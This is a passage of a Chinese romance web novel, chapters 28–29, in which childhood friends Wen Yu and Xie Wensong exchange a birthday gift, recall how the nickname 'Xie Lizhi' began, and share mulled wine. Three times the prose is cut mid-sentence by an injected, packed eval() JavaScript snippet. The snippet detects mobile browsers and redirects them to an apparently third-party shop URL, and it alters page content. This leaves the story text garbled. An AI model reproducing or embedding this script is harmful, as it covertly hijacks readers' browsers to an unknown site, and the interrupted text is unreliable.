“那个啥,刚才的学长之前是我同寝室的舍友,他已经凭一己之力变成我们宿舍最不正常的人了,他的建议同学们选择性采纳哈。” 他说完,底下一片笑声,温遇无声弯唇,刚才涨上来的那股困劲消散几分。 刚才第一位发言的学长给到镜头,他露出抹不太好意思的笑。 正在台上的学长继续说:“对我来说,解压的方式有很多,但唯独不能是数学题。” 他边说,边做了一个捂着心口的动作。 “曾经的我以为自己急眼了什么都能做得出来,直到我遇见了数学题……” 底下的同学们发出第二声爆笑,甚至有人吹了两声口哨。 轻松氛围过后,他说了几个放松心情的小窍门,后面还有位学姐,着重介绍一轮复习的学习方法。 所以她还挺好奇谢闻颂的解压方式是什么。 见对面的小兔子一副洗耳恭听的模样,他将嘴里的奶油一点点化开,也尝试着开始回忆过去。 “你觉得我应该用什么方式解压?” 温遇直接把第一位学长的经验拽过来:“比如做几套竞赛卷子什么的。” “……” 谢闻颂那个表情温遇不太能形容,只是有点好笑,而她也确实没憋住笑出来。 谢闻颂本来想怼回去,只是看见她笑,真的什么脾气都没了,但面对她的那点儿傲娇感还是得有,但又不知道该怎么表达,最后只能甩给她一个无语的眼神。 “别以为我没看出来你在揶揄我。” 温遇往回找补:“哪里!” 不出意外被谢闻颂赏了个“你不要再狡辩我根本不会听”的表情。 谢闻颂也没隐瞒,倒是认真思考起来,“我那会,有时候会去摸一摸琴。” “不过到晚上的时候一般就不会碰了,怕影响家里其他人休息。” 谢闻颂说到这停顿了下,“我书桌旁边常年放着一沓厚厚的字帖,我心烦意乱的时候会去一笔一画地描摹。” “毕竟练字这样的事不太费脑细胞,挺适合我的。” 没想到谢闻颂解压的方式是这个,温遇斟酌措辞给了个评价:“你这解压方式还挺独特的。” “不过你为什么后来没继续走音乐这条路了?” 关于这个问题,温遇也不太清楚,而谢闻颂似乎也没想到她会问这个,回答得有些迟疑:“不太适合我。” “可你之前写的旋律和歌词我也听过看过,很好的。” 温遇一脸认真,看上去真的想要个答案,只是谢闻颂扯唇笑了声:“是么。” 他明显不太想聊这个话题,温遇默默垂下眼,也不再说。 再亲密的关系,也会有很难讲的话,更何况他们只是朋友。 有些话,有些事,点到即止就好了。 …… 到家的时间已经不早,温遇没有忘记自己放在玻璃展示柜里的礼物,让谢闻颂在门口等一下。 因为着急,温遇进门就把鞋脱掉,摸黑没找到拖鞋,索性直接光脚踩在瓷砖上。 谢闻颂靠在门口的位置,听见房间里面咚咚咚的脚步声,心里突然静下来。 他发现,他好像能找到第三个能让自己完全静下心来的方法。 那就是和温遇待在一起。 头顶的光渐渐虚焦,在眼前糊成一块模糊的光斑,而他心情仿佛是悬浮在咖啡液上的冰块。 有种清醒的豁达,但好像也有点说不清的苦。 到底是苦还是酸,他好像也不知道。 谢闻颂垂眼掩饰情绪,不想将这一切暴露在温遇的眼前。 哪怕她现在看不见。 “嘿。” 肩膀被轻拍了下,谢闻颂扭头,看向凑到他肩膀位置的小脑袋。 然后她从旁边伸出手,把一个浅粉色的手提袋递到他眼前。 谢闻颂仍旧看着温遇那张脸,唇角抿紧。 有时候无声的对视比体温相贴更暧昧,谢闻颂不说话看着她,眼神像漩涡要把她吸进去似的,温遇竟然生出几分心慌。 她率先移开目光,将手提袋直接塞给谢闻颂。 “生日礼物。” “还有一句迟来的‘生日快乐’。” …… 谢闻颂洗过澡以后才选择拆温遇打包好的礼物。 彼时核桃早已经陷入梦乡,安静地趴在自己的狗窝里,谢闻颂摸它的头它都没醒。 一个人在黑暗的阳台上站了会儿,谢闻颂的头发只仓促擦了几下就去吹风,感觉头皮都有点发凉。 一个人吹风吹够了,他趿拉拖鞋往客厅的方向走,只亮了餐桌上的一盏灯。 夜里什么都是静的,除了他的心。 谢闻颂拆开手提袋,翻开礼盒的磁吸扣,看到里面的小夜灯。 熊兔与月,月亮尖挂着刻字的铭牌。 正面是他的名字缩写,背面是他的生日日期。 他将侧面的黑色开关推上去,月亮通体发出暖黄色的光。 谢闻颂注意到旁边还有个圆形按钮。 是调节亮度的吗? 他摁了一下没反应,没想到过几秒里面传出声音。 是温遇的声音。 “咳咳,没想到你这么快就发现这个秘密了,如果是几年后才发现的就当我没说过上一句话。” “……” 谢闻颂嘴角抽了一下。 “那天买这个礼物的时候,售货员和我说这台小夜灯有了录音功能,所以我决定把这个作为隐藏的小惊喜埋起来,能够发挥功能的一点点作用。” “好啦,正文开始。” “从前有一座美丽的城堡,里面住着一个小矮人和七个白雪公主……” “……” 接着传来女孩懊恼的声音:“这已经是第五遍录了,结果我又说错了。” 说完这句话,她下意识又开始清嗓,殊不知这头的谢闻颂忍笑忍得肩膀都在颤抖。 见自己没有讲故事的天赋,温遇发出细小的叹息,谢闻颂就那么懒散地靠在椅背上听, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958198|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似乎期待之后温遇会说什么样的话。 “谢闻颂,讲故事并不是我的本意,你应该猜到了吧。” 其实谢某人在心里说:猜到了你是不想继续讲故事才编的这个借口吧。 如果温遇知道他是这么想的,一定会后悔让谢闻颂这么了解自己。 不管是找的借口,还是撒的谎,都瞒不过他。 不过礼物在前,谢闻颂并不打算戳破兔子的谎言。 他倒是更喜欢看兔子慌慌张张不敢看他的样子。 和刚才在门口一样。 慌乱的时候,温遇的本体才会暴露出来,得他一窥。 小夜灯发出的声音还在继续:“虽然我故事讲得不好,但是我会说别的。” “比如我想给你送个生日祝福,希望你别再失眠,不回望过去,只展望未来,从今天开始能睡好每一个觉。” 这句说完,温遇沉默两秒,语气有种认真劲儿:“没及时给你这份礼物,是我的错。” 谢闻颂听到这,等了会似乎没声音,他还以为播放完了,没等后背离开椅背,又听见了她的声音。 “我猜猜,你现在是不是已经原谅我了?” 语气小心翼翼,这是兔子在探头探脑试探他。 谢闻颂无声莞尔。 温遇语气一转,故作轻松:“不原谅也没事,还是你睡好比较重要……” 窗外彻底陷入暗色,谢闻颂的头顶却亮如白昼,仿佛和外面两个世界。 奇怪的是,他并没有什么困意,却和往常的失眠不太一样。 以往的失眠仿佛一个看不到边际的黑洞,他不躲不避,忍由其将他吞噬。 可是今天,好像有个人影挡在他面前,张开双臂,用自己身上的光芒让所有黑暗畏缩。 他在心里想。 这或许就是公主的力量吧。 谢闻颂也不知道在餐桌前坐了多久才把桌子收拾干净去睡觉。 温遇送的小夜灯被他放在床头柜上最醒目的位置,他侧躺着伸手,指尖轻戳了一下熊兔的脸。 平心而论,他是个从小到大都没什么情绪波动的人,还在很小的时候他就能够正确处理自身产生的负能量。 高三最紧张的那会儿,学校给学生每周一次心理辅导,谢闻颂基本都旷掉在班里写卷子。被老师发现好几次,班主任悄悄联系了他家长。 乔若琳得知后还以为他是因为身体不舒服没去,结果发现一问自家儿子,他说自己根本不需要什么心理辅导。 高压高强度的学习好像和他无关似的。 乔若琳倒是觉得他这个年纪多笑笑才好,说让他看看隔壁温遇,遇到困难从来都是笑着面对。 她那是笨。 谢闻颂在心里说。 发烧还坚持去登山,不是笨是什么。 不过在他别别扭扭说出温遇是“笨”时,也不得不肯定,她确实成长得很好。 或许正因为一起长大,他看过很多发生在她身上的事,才会有这样的理解。 她喜欢冒险,尝试不同方向的事,遇到困难坚定内心,难过之后也努力重现笑脸。 曾经的谢闻颂也觉得这样既灿烂耀眼,但又充满挑战,他不打算这样,而是选择平静做好面前的每一件事。 可人生这条路若是总走得墨守成规,又太过没劲,总要遇到一些特别的人来打破那些自己自设的条条框框。 有时候,遇到这个特别的人,比怎么走这条路更重要。 谢闻颂慢慢发现,自己喜欢上了一个“笨”的人。 他今天在外面和温遇吃饭的时候,听到一句歌词。 歌词说,时间会做最好的决定。 其实时间会不会做最正确的决定他不知道。 他只知道,最正确的决定永远掌握在自己的手中。 搁在枕头边的手机发出振动,谢闻颂顺手摸过来,是温遇发来的消息。 看清之后,他呼吸有一瞬间的迟滞。 小鱼丸了:晚安。 小鱼丸了:谢、荔、枝。 28.鱼鱼 28/ 小学时的温遇有两件堪称为人生中最讨厌的事。 二者竞争相当激烈,在很长一段时间里难分伯仲,不过最终第一还是将第二打败。 连她相当讨厌的,看外国名著记里面人物的名字,都只能屈居第二。 那就是和谢闻颂斗嘴。 作为年龄相仿又互相知根知底的两个人,无非有两种相处模式。 相看欢喜或者相看两厌。 温遇觉得倒有第三种,介于二者之间。 那就是互相看不对眼,在某种程度上实现真正意义上的小学鸡互怼。 其实早些时候她和谢闻颂的相处还算融洽,小熊战士贴心地从中调和,温遇也一直把他当作亲哥哥一样看待。 可是发现渐渐成长起来的两人,相处模式却逐渐走歪。 温遇因为身体不好没上过几天幼儿园,等她开始上小学之后,身体才慢慢不那么容易生病。 但生长发育的迟滞好像并没有伴随成长戛然而止,一年级的她,是班里最不起眼的同学,但偏偏她的同桌,是这个班级里最瞩目的人。 身边坐了个招摇的人,温遇想低调都不行,但又因为她思维和动作都慢半拍,没少因为这个被同学捉弄。 她自然不是个软包子,当放在桌子上的水笔第二次被同一个人故作小心丢在地上时,温遇平静捡起来,擦擦上面灰尘,重新放回笔袋。 然后她站起身,正视在她面前嘻嘻哈哈的男生,直接揪住对面人的衣领,“道歉。” 圆润的小脸上没了往常的笑容,对面人心一慌想挣脱,温遇顺势松手,直接让他摔了个大屁墩。 刚从班里目睹前因后果发生的谢闻颂不紧不慢走到她旁边,嗤笑了声看向坐在地面上的人,丝毫没有要把他拉起来的意思,连多余的话都懒得说。 以往和他私下互怼没有半分怯懦的温遇怎么可能是个软包子,这些同学间的捉弄,他完全相信她能应付得来。 棒打出头鸟,有了第一例,后来慢慢的,没人敢开温遇的玩笑,不止因为她不好惹,还因为她旁边坐了个比她更不好惹的人。 曾经有个人下课时取笑温遇读课文慢,吵醒旁边趴着睡的谢闻颂,后者什么话都没说,甚至连生气的表情都没有,只是冷着脸直接给人拎出去教训。 一个在班里霸王存在似的男生和一个沉默温和的女生互为同桌,影响力不亚于冰山火山相撞。 有种微妙的化学反应。 过段时间,大家也不知道从哪里来的风声,说谢闻颂是温遇她哥。 传言一出来大家都将信将疑,从表面来看,毕竟一个姓谢,一个姓温,咋可能是兄妹关系。 不过后来想想,姓氏又不是决定这个的关键因素,况且谢闻颂确实给温遇出头过,他也确实只对她一个人不一样。 对她可以关照,可以是别扭但又诚意十足的鼓励,也可以是有时候拽里拽气地揶揄两句,然后又像个没事人一样走在她身后,连她影子都小心避开没有踩到。 相比于温遇,谢闻颂对其他人都是淡淡的单色样,仿佛只在她身边,黑白漫画才会添上色彩。 小时候的他们仿佛自动绑定某种设定,走进校园的那一刻开始互相看不对眼,放学之后又约着一起回家,没有隔夜仇,两个人很少翻旧账。 好像他们本来的相处就是这样。 温遇对这些细如鳞片的回忆都有印象,其实她现在的想法和当时一样,觉得那些只不过是朋友之间最普通的互怼,毕竟小小年纪憋着一股谁也不让谁的劲儿,在各个方面上都不服输,像他们这样,并不罕见。 不过她还是得承认,大部分时间还是谢闻颂让着她。 三番几次发现对方让着自己,温遇看清之后渐渐也把心收回来,重新变回那只很乖的兔子。 虽然有的时候谢闻颂还是想把她的耳朵揪出来,让装乖的兔子再次朝他龇牙。 他懒懒一笑,又收回刚才的逗弄。 心痒痒只让人痒了一半,温遇哑了火,对他又是个没脾气。 “欺负人”这块,谢闻颂也练就得炉火纯青。 吵吵闹闹无意间偏头,温遇看到他唇边的那抹笑,突然意识到,漫长时光伴随下的枯燥生活里,有这样一个人在身边,好像也不错。 互相做彼此的影子,有多酷。 一回头看,你总是在的感觉,有多好。 / 关于【谢荔枝】的由来,还得追溯回温遇初三一模的那个雨天。 学校规定考完试就能回家,下午考完她就收拾东西。谢闻颂因为今天下午要留下来做值日,中午休息的时候就说让温遇先走。 温遇当时急着去考场,含糊应了声,考试结束才想起来。 今天没有司机来接,温遇索性选择等他一会儿,找了学校附近的一家面包店。 人不算多,她坐在高脚椅上刷手机,直至听见一声闷雷,店里突然有人说下雨了。 夏天的雨总是在意想不到的时候来。 温遇再抬头的时候雨已经下大了,但是她一年四季书包里习惯放把伞,影响并不大。 她给谢闻颂发消息说在校门口,现在还没回复。 温遇将屏幕扣在桌子上,视线透过玻璃橱窗,温遇看到一只缩在树下被雨淋湿的猫。 像没动静似的,温遇观望了一会儿,没看见小猫怎么动,想了想还是背上书包推开玻璃门,撑着自己那把小白伞。 凑近才看到小猫是因为身上都沾了雨水太冷才蜷缩成一团,三花感觉有人来,勉强睁开葡萄眼,一眨不眨看着温遇。 可能是她身上的气质能把层叠雨雾都刷出一条明晰的线,有种清雅的温柔,小猫尝试着把身体往她那边挪,湿漉漉的爪子搭在温遇的鞋尖,染上一抹浅浅的灰色。 心中的某根弦突然被人狠狠拨弄了一下。 也不知怎么的,温遇看着那抹灰色,歪着头将伞柄压在肩膀和脖子中间,快速摘掉肩膀上的书包,把校服外套脱了下来。 这么一折腾,她身上淋了不少雨水,白色短袖的肩膀位置湿了一大片,贴在皮肤上,更显她瘦伶伶。 温遇像没感觉到身上淋雨一样,将外套裹在小猫身上,小心把它虚拢在怀里。三花试探性露出个脑袋又缩回去,也许是怕身上的污水蹭到她,小脑袋搭在外套里不肯探出头。 只露出一点湿绒绒的毛。 她单手撑伞,另一只手搁着衣服环抱三花,伞面的一半多都罩在小猫头顶,温遇都忘了后面还有个书包。 她刚想往后摸书包结果没手了,动作比意识快,伞柄从手中脱落,温遇正以为头顶会因为自己的傻动作立刻湿掉,肩膀下意识缩了缩,结果冰凉雨滴却一点都没砸下来。 旁边面包店烘焙的香味混在湿润的空气里,像半分虚假半分真实的美梦,二者相互扯着她,温遇呼吸都变慢了,往上一看,头顶是黑色的伞面。 伞骨均匀把布料撑开,一瞬间恍惚回到小时候,透过三棱镜看到的万花筒图案。 她蹲在原地往后看,谢闻颂正撑着伞站在她身后。 她给三花撑伞,他就给她撑伞。 温遇不知道谢闻颂什么时候来的,手机里还是没有新消息。他什么都没说,只是沉默站在她身后,目光就那么垂落到她身上,晦暗难辨。 不知道是不是雨的气息太浓烈,模糊掉了谢闻颂以往张扬的锐气,温遇感觉,这样的他,有种和以往不一样的柔和。 谢闻颂自动脱掉自己身上的外套给温遇,他的伞足够大,大到温遇完全不需要撑伞,只要和他站在一起共同行进,就不会被淋到。 微冷的潮气里,温遇感觉隔着这层湿漉漉,身边全是谢闻颂衣服上的味道。 和他平时的冷感不同,他身上的气味像阳光晒过花朵散发的馨香,让她浑身都暖了起来。 一路上他俩都没怎么说话,只有三花偶尔一两声的喵叫。 徐翩禾对猫毛过敏,温遇自然不敢往家带,只能拜托谢闻颂先照顾它一下,等她从隔壁赶过来。 谢闻颂将小家伙抱回家,看见温遇的外套已经被水沾得深一块浅一块,找了条不用的毛毯放在泡沫箱里,给三花换了个窝。 谢闻颂坐在椅子上斜支着头,就那么看向泡沫箱里睡着的三花,也不知道在想什么,卧室门被人从外面推开,气喘吁吁的女孩从门后跑进来,她甚至连衣服都没换,肩膀还有雨水干掉的痕迹。 温遇先和他对视了一眼,谢闻颂给了她一个你往地下看的眼神,这才看见缩在毛毯里的三花。 她动作放轻地跪坐在地毯上,低头三百六十度无死角地注视小猫,马尾早已松散下来,顺着她的颈弯垂落在锁骨处。 徐翩禾上午的时候烤了点饼干,温遇给谢闻颂带了点,手里的包装袋刚放下,她发现谢闻颂还在看着自己。 “我脸上有什么东西吗?” “没有。” “我只是在想。”谢闻颂继续撑着脑袋,似笑非笑看她,“你对小猫都这么好,以前是怎么不顾形象和我吵架的。” “……”温遇感觉自己的血压有点高。 “还不是因为你总挑衅我,不然我那么乖,怎么会和你拌嘴。” 怕吵到小猫,温遇声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984415|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放得很轻,不过还是没掩饰住话语里透着的无语,变身为没有感情的控诉机器:“你这人,还倒打一耙。” 刚才借衣服的恩情还没让她想好怎么报答,谢闻颂一句话,直接给她堵回去。 怎么会有人做人这么不客气。 “你以前乖吗?”谢闻颂揣着明白装糊涂,似是真的陷入了过去的回忆里,“好像确实还挺乖的。” 温遇吐槽的话憋到嘴边。 算他有眼光。 不对,这本来也是事实。 不用他夸也是事实。 安静下来,谢闻颂在复盘这次考试,温遇原本还想看看他在做什么,一看到熟悉的卷子直接原地晕厥,说让谢闻颂自己难受就行,千万别念出来,她可不想对答案。 要不是小猫还在这,她肯定是要以百米冲刺的速度逃跑的。 哪有人刚考完试不放松跑这复盘试卷的啊。 也太吓人了点。 谢闻颂见她是真的怂了,笑了声把卷子收起来,从书架上随意找了本科普类书籍,拿掉上次看留下的书签,继续阅读。 温遇则自然而然继承他房间里的懒人沙发,从他书柜里找了本感兴趣的热血番津津有味看起来,高举起漫画书读着,有时候还会念出声音,而旁边就是熟睡的小猫。 窗外雨早已停,太阳晒过的空气让人心旷神怡。 温遇有点看困了,视线往书桌旁的人身上挪,发现他不知什么时候已经重新写上卷子了。 地上放着一盘荔枝,被她吃得没剩下几个。 是刚才谢闻颂从外面给她拿的。 这批摘得有点早,清甜的汁水里尝到点微微的酸和涩。 不过还是很好吃。 温遇盯着他笔杆晃动的微小弧度。 她小声喊他的名字。 谢闻颂明显听见了,只是头没抬:“怎么?” “你总喊我‘温鱼鱼’,而且叫了这么长时间,出于你来我往的规则,我是不是也得给你起一个外号?” 谢闻颂明显没想到她是为了给他起外号才喊自己的,随手捋平卷子折角,饶有兴致接话:“什么外号?” 温遇又剥了颗荔枝,牙齿挤咬出汁,毫不客气:“你这人吧,就好比荔枝,助人为乐的时候是甜味的,对人冷脸的时候就是酸味的。” 谢闻颂拆穿她:“你倒不如说那个‘人’是你。” 被发现了。 温遇不否认,继续输出:“所以综上所述,你这个人应该是酸甜味的,和荔枝一样。” “……” 谢闻颂写字的手停顿。 哪有形容一个人用“酸甜味”这个词啊。 温鱼鱼作为语文课代表带头不起模范作用。 “所以,你的外号就叫‘谢荔枝’怎么样?” 谢闻颂似乎有点嫌弃:“你能不能起得有水平一点。” “荔枝谢?” 温遇想了想自己最近看的外文书:“或者是柴德洛夫斯基·谢荔枝。” “……” 谢闻颂不太想继续搭理她了。 “诶,别不理我呀。”温遇眼睛狡黠眯起来,从沙发上起来往他身边走,“其实你这样想,如果你对我再好一点,就能变成一颗成熟的荔枝,甜味十足的那种。” 说完还用手比量了一下,示意那“再好一点”到底是多大一点。 谢闻颂扔下手里的笔,用很小的力道将凑近的小脑袋推远,放在座位下的腿发力,将椅子转九十度正对温遇站的位置。 “要对你多好才能成为一颗成熟的荔枝?” 他微微仰头,额发无法掩盖的双瞳闪烁笑意,似在真诚求教发问。 “要一直把你当公主对待吗?” 重新窝回懒人沙发的温遇点头,以为他在开玩笑,心想这波不答应多亏啊:“好啊。” 一句玩笑似的答应,某人好像真的那么做了。 温遇随口起的一个外号,谢闻颂从嫌弃到接受只用了一个下午而已。 但他发现当自己在意起来时,她好像又不记得了。 就好比谢闻颂觉得自己已经成长为一颗成熟荔枝时。 她却忘了和自己的约定。 她不记得自己给他起过的外号,无声证实这本就是玩笑,你不必认真。 所以这么多年过去,她只喊过那一次谢荔枝。 可他却喊过她很多次温鱼鱼。 好像只有他还记得,这段回忆就不会被掩埋和遗忘。 只要他紧紧抓着风筝线的一端,就算风筝要飞多远都没关系。 他在,他在。 29.鱼鱼 29/ 温遇昨晚没太睡好,起因是后半夜嫌屋里闷,起床上厕所的时候把窗户开了道缝,结果没过多久就下雨了。 她睡着睡着突然被冻醒,这时才发现阳台栏杆上已经淋了一层水,这才把窗户给关上了。 立秋已过,之后的日子一场秋雨一场寒,直接给温遇吹鼻塞了。 她掀开被子下床的时候,踩到地面上像一脚埋进云层里,不出意外的头重脚轻,温遇压下额角细密如针刺的疼,找到药盒,从铝板掰出药片,就着温水全部吞入腹。 天色埋着看不见尽头的灰,时间还早,温遇重新趴回窝里,只露出个头和两只手,正刷着手机。 床边一盏灯昏黄,试图将微冷的空气烘暖,温遇刚有点困意,想着今天是周末,还可以睡个回笼觉。 此时私聊被戳了一下,是饶婷给她发的最新出差安排。 过两天就得出发,时间并不算宽裕。 这是温遇入职以来的第一次出差,因为她是今年刚入职的新人,出差也多以跟随前辈学习为主,这次是跟着团队与对面的品牌方接洽。 地点定在离南川一千多公里的绵安市,并不算近。 确认过时间和地点以后,刚才酝酿半天的困意消散了大半,温遇略微思索了下,最后还是决定睡一觉,起来再收拾行李。 她东西少,收拾不了多久。 重新把手机旁边,温遇翻了个身面对阳台的位置。 白色铁架上放着几盆盆栽,叶片随风轻轻晃动,上面有之前下雨淋的水,她盯着那油绿的叶子几秒。 心里在想自己要离开家好几天,谁给它们浇水。 如同潮涨般的困意让视线模糊起来,温遇指尖扣着被罩边儿,某刻动作停止。 她想到要怎么办了。 - 温遇觉得要拜托人一件事,不管事情多大多小,总得先拿出点诚意来。 于是她在家里厨房捣鼓了一下午,烤了几个模样还不错的玛芬蛋糕,还做了点不同口味的曲奇,分别放进包装袋里,最后装在一起,走到隔壁门口敲了敲。 温遇事先没和谢闻颂说过自己要来,她也不确定他在不在家,周末有时候这人也挺忙,她也只是通过那几盆孤苦伶仃的盆栽突然想起隔壁的谢闻颂,头脑一热就来找他了。 脑海里闪过的第一个人是他,冷静下来再次回想的时候,发现也只能是他能在这件事上帮到自己。 手里的东西还热乎着,温遇敲了几下门,里面没动静。 又过了几秒,她听到门板另一侧有频率很快的脚步声,随即听见有爪子挠门的声音,紧接着,核桃在里面叫了两声。 温遇喊它名字,核桃明显听见,扒门的动作比刚才更频繁,她吓了一跳,连忙安抚门那头的核桃。 这明显是谢闻颂不在家了。 她蹲在门旁边,掌心紧贴门板,正想着要不要给谢闻颂发个消息,几步开外的电梯发出“滴”一声。 一梯两户,除了她和谢闻颂,基本没人会往这层跑。 温遇平视只能看见一抹深蓝色衣角,视线往上抬,刚好和来人的目光撞到一起。 谢闻颂也没想到自己刚从外面进来,还能看见这样一幅景象。 某人穿一身看上去毛茸茸的睡衣,正蹲在他家门口,拖鞋都没换,上面一只兔子耳朵折了过去,豆豆眼看上去莫名有种憨傻感。 温遇单手平摊着手机,屏幕白光还在向上映射,另一只手提着包装袋,里面的东西放在大腿上。 可谓偷感十足。 赶在他走到门口之前,温遇迅速站起身,张口刚要解释自己的来意,谢闻颂已经垂头用指纹打开门锁,“进来说吧。” 温遇犹豫了一下,最后还是没多矫情,跟在谢闻颂身后进去。 前面的人把灯打开,核桃早已蓄势待发,两只前爪往温遇的腿上扑。 也许是闻到了袋子里的香味,小狗围着她直打转。 温遇顺势弯下身,不客气地撸了把狗头,这会儿功夫,谢闻颂已经脱掉外套随手搭在沙发边,正往玻璃杯里倒水。 “给你带了点东西,自己做的。” 温遇把袋子放在桌子上,谢闻颂看她一眼,放下杯子那只手拨开包装袋,瞅见了里面的蛋糕和曲奇。 他似乎笑了下,然后抬眼看她:“有事找我?” 多年一起相处过很多瞬间的人了,互相了解是必然的事,在某些方面上自然能做到不说意会这种奇妙的能力。 温遇没隐瞒,简单说了自己要去出差,但是家里盆栽没人照顾的事。 其中还有林檬送给她的一盆绣球,她一直小心翼翼照顾到现在,好不容易有了花骨朵,不想因为这几天导致它枯败。 谢闻颂自然没拒绝,让她有时间抽空搬过来就行。然后走到酒柜旁,拿出了一瓶温遇认不出来的酒,问她要不要喝热红酒。 温遇刚才就在外面蹲了一会,脚腕就冰冰凉,反正明天是休息日,她也不用早起,倒也没客气,直接帮谢闻颂从冰箱里拿水果。 手指刚扣上冰箱门,温遇看见门侧边贴了一张风格突兀的圆形贴纸,她凑近看,发现这不是上次送谢闻颂生日礼物盒上的贴纸吗? 贴纸有一小部分已经没胶了,愣是被他给粘上了。 她还在想谢闻颂这人还挺节省,连包装纸上的贴画都不放过,找个地方贴上也得物尽其用。 厨房的灯亮着,谢闻颂已经支起了锅,但还没开火。 温遇正要把手里的水果放在料理台上,橙子上一颗草莓受力不平衡马上要掉下去。 “诶!”她下意识喊一声,谢闻颂动作更快,双手捧在一起,精准接到那颗草莓。 这一下,谢闻颂胸前的衣服刚好蹭过她的手。 细微的、像绒毛一样的触感仿佛自带电流,温遇下意识把手里的东西往胸前拢了拢,若无其事把手里剩余的水果重新搁在料理台上。 切水果只需要一个人就够,谢闻颂横好菜板已经开始处理水果,温遇就撑在旁边看他操作。 谢闻颂还没换衣服,上衣穿的还是刚才脱下外套里面的那件翻领衬衫,温遇从侧边看,锁骨顶出来的位置特别明显。 让她突然想到前段时间网上挺火的“锁骨放硬币”的挑战。 他这估计能放一串硬币。 赤/裸裸的目光一点没带遮掩的,谢闻颂往侧边稍微瞥点,就能看见温遇那不太安分的视线。 不过他没以为是自己的缘故,还以为是她比较想喝这一锅热红酒。 黄澄澄的脐橙均匀切片,锅里的红酒已经在散发香气了,谢闻颂把水果放进去,问她:“去哪出差?” 温遇从他切好片的草莓中伸手捏了一片放在嘴里,冷不丁被酸了一下,舌头打结道:“绵安那边,后天就走。” “东西收拾好了?” 她点头,点完才隐隐觉得有哪里不对,“你……” “橙子挺甜,你尝了么?” 谢闻颂岔开话题,温遇直接将前面说了半句的话忘在脑后:“是吗?” 她看见旁边的人轻舔了下指腹沾到的果汁,见她跃跃欲试的眼神,谢闻颂挑了中间最大的一片给她。 温遇没客气,垂头将上面的果肉咬掉,给出评价:“比草莓甜。” 谢闻颂把水果刀洗干净,转身看见温遇偷偷又从盘子里拿了片甜橙。 那一瞬间,好像没藏住头顶竖起的两只耳朵。 …… 谢闻颂把玻璃锅里煮开的热红酒放在餐桌上,发现两边的玻璃杯已经就位。 不用猜都知道是谁的杰作。 温遇凑到他旁边嗅嗅味道,然后拿勺往杯子里舀了点,因为有点热,只能先吹凉最上面的一层抿一小口。 谢闻颂将隔热手套摘掉放在一边,等待温遇的评价:“有点烫,你慢点喝。” 温遇品过后朝他竖了个大拇指,谢闻颂笑了声,伸手把袋子里她之前带来的蛋糕和曲奇拿出来:“甜点和热红酒,刚好适配。” 见他拿出来自己下午做的巧克力玛芬蛋糕,温遇连忙道:“你尝尝这个怎么样。” 女孩踮脚往他身边凑,和刚才并无二差的温度再度贴过来,谢闻颂心尖都快化掉,单音节嗯了声,掰了一块放进嘴里。 温遇做的东西他这些年来多多少少也吃过一点,味道虽然不能说顶级也相当不错,她又爱做,在这方面反复研究,成品自然不差。 就比如刚入口的蛋糕,微甜不腻,舌尖一抿就能化开。 淡淡奶香,巧克力碎块 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056137|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的硬和蛋糕的软挤压在一起,有种奇妙的适配感。 他虽然不嗜甜,但是上次的两块蛋挞他后来全吃掉了。 这次的蛋糕也是。 好像刚好长在他味蕾上似的。 温遇没在他脸上找到一言难尽的表情,稍微松了口气,给他的玻璃杯里斟了点酒,两个人面对面坐着,边吃蛋糕边喝热红酒。 恍惚间,她感觉已经像到年末过圣诞的日子了。 偌大的屋里只开了餐厅一盏灯,泛黄的光线均匀铺下来的朦胧仿佛自带微醺感,温遇喝了一杯,脸已经开始发热。 她酒量一般,但几乎没有特别断片的时候,照她自己的解释,自己喝酒之后的所有行为都是清醒着荒唐。 属于知道自己要做什么,但不知道为什么要这样做的状态。 温遇觉得无聊便从手机上想随机找部剧消磨时间,没想到八个里面有七个都要VIP,剩下那一个还没播放源,气得她直接把手机锁屏,抬头一看谢闻颂单手压在书脊上面,一副挺专注在看书的样子。 “……” 温遇像个逐渐漏气的气球。 怎么感觉他俩好像在图书馆自习,而她是那个摸鱼不好好学习的人。 温遇不服,上半身直接趴到桌面上,右手直接挡住谢闻颂正看的位置。 后者托腮的手平着放下,那眼神是想问她要做什么。 “你不许看了。” 温遇双颊红如熟透的苹果,上半身都快挂在桌子上了还要阻止他看书。 谢闻颂往后靠了靠,似乎觉得有点好笑:“为什么不让我看?” 温遇微醺之后只能做动作,但不能深究动作的原因,他问为什么,她也解答不出来,只能强拽一句:“就是不让看了。” 蛮不讲理的一番话却让谢闻颂忍俊不禁,直接将书搁在一边。 “那好,不看了。” 温遇继续借着酒劲得寸进尺:“谢闻颂,你手机能看电视剧吗?” 某人扒拉完了他的书,紧接着还想扒拉他的手机。 